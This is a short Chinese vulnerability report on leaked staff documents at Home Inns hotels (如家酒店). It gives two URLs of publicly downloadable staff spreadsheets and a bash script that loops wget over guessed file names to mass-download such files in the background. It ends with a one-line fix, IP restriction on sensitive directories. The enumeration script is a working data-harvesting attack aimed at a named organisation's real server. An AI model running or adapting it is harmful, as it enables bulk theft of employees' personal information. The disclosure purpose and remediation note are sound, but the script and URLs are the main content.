如家酒店敏感信息泄露下载

如家酒店敏感信息泄露

http://office.homeinns.com/staffinfo/SMDocument/Upload/2010-5-1317430.xls



http://office.homeinns.com/staffinfo/OCSDocument/Upload/2013-8-27162223.xlsx



都是可以下载的，那么我们可用用一种简单粗暴的方式来爆跑



 

#!/bin/bash

for((i=1;i<13;i++))

do

        for((j=1000000;j<9999999;j++))

        do

                wget http://office.homeinns.com/staffinfo/SMDocument/Upload/2010-$i-$j.xls

        done

done

 

nohup ./download.sh &

 

修复方案：

对于敏感目录，做ip限制。